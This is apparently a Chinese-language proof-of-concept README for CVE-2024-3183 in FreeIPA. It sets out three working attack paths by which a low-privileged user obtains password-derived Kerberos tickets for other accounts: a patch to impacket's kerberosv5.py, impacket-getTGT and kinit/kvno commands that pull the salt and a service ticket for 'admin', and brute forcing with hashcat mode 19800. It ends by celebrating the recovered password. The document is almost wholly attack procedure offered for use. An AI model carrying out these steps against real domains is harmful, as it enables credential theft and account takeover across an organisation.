CVE-2024-3183-POC

针对 CVE-2024-3183 的 POC（FreeIPA Rosting）

影响： 低权限用户可以获得所有域用户密码的哈希，并执行离线暴力破解（kerberoasting）。

修补 impacket-getTGT：

1. 将 decoder.decode.defaultErrorState = stGetValueDecoderByTag 添加到 impacket/krb5/kerberosv5.py。
2. 尽情享受吧！

POC1：

1. 将 decoder.decode.defaultErrorState = stGetValueDecoderByTag 添加到 impacket/krb5/kerberosv5.py。
2. 你可以使用带 -service 选项和 -debug 选项的 impacket-getTGT，通过一条命令获取 salt。 impacket-getTGT test.local/user -debug -service admin

POC2：

1. 首先，让我们为一个已被攻陷的用户 "admin" 请求一张 TGT 票据。 kinit user
2. 其次，我们将找出 "admin" 用户的 salt： printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. 获取 "admin" 的 TGS： kvno admin
4. 使用 python 脚本（或带有特定 salt 的 hashcat 模式 19800）对 TGS 进行暴力破解

1 - TGS， 2 - SALT， 3 - 密码。

5. 恭喜，我们现在获得了用户 “admin” 的密码。

POC3：

1. 你可以一步到位使用 kinit： kinit -S target user

这样你会获得一个由目标用户密钥加密的 TGT。